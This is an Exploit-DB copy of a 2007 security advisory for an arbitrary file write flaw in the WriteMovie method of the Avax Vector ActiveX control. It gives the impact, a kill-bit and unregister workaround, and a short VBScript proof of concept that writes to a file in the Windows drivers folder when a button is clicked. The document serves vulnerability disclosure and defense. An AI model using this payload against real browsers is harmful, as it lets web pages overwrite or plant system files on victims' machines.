Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write

vendor:

Avax Vector ActiveX

by:

callAX, GoodFellas Security Research Team

7.5

CVSS

HIGH

Arbitrary Data Write

CWE

Product Name: Avax Vector ActiveX

Affected Version From: Avax Vector ActiveX v.1.3

Affected Version To: Avax Vector ActiveX v.1.3

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2, Windows Vista Professional SP1

2007

Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write

The Avaxswf.dll library included in the Avax Vector ActiveX v.1.3 software package is vulnerable to arbitrary data write in a remote computer. The WriteMovie method doesn't check if it is being called from the application or from a malicious user, allowing the manipulation of local files insecurely and the ability for malicious users to write arbitrary data to any file on a vulnerable system.

Mitigation:

Activate the Kill bit zero in clsid:0DD77391-686B-11D4-B367-D4475FDFF33A and unregister Avaxswf.dll using regsvr32.

Source

Exploit-DB raw data:

:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write
============================================================================

Internal ID: VULWAR200706264.

Introduction
------------
Avaxswf.dll is a library included in the Avax Vector ActiveX v.1.3 software
package from the Company Civitech. 
( http://business.hol.gr/gardos/index.htm )
Such package include ActiveX control (OCX) that includes over 500 properties,
methods, and events to provide full control over vector drawings.
One of the Avaxswf.dll exported methods is vulnerable to Data write arbitrary 
in a remote computer.


Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- windows vista Professional SP1 with IE 7.0.


Summary
-------
The WriteMovie method doesn't check if it is being called from the application
or from a malicious user.


Impact
------
The vulnerability is due to an error in WriteMovie method that manipulate
local files insecurely, which could allow malicious users to write arbitrary
data to any file on a vulnerable system.


Workaround
----------
- Activate the Kill bit zero in clsid:0DD77391-686B-11D4-B367-D4475FDFF33A.
- Unregister Avaxswf.dll using regsvr32.


Timeline
--------
June 26, 2007 -- Bug discovery.
June 26, 2007 -- Bug published.


Credits
-------
 * callAX <callax@shellcode.com.ar>
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>



Technical Detail
----------------
WriteMovie method receives one argument filename in this format "c:\path\file".

POC
---

<object classid='clsid:0DD77391-686B-11D4-B367-D4475FDFF33A' id='wRit3'></object>
<input language=VBScript onclick=Boom() type=button value="Write">

<script language = 'vbscript'>

sub Boom() 

   f1l3 = "C:\WINDOWS\system32\drivers\hackme.sys"

   wRit3.WriteMovie f1l3

 End Sub

</script>

# milw0rm.com [2007-06-26]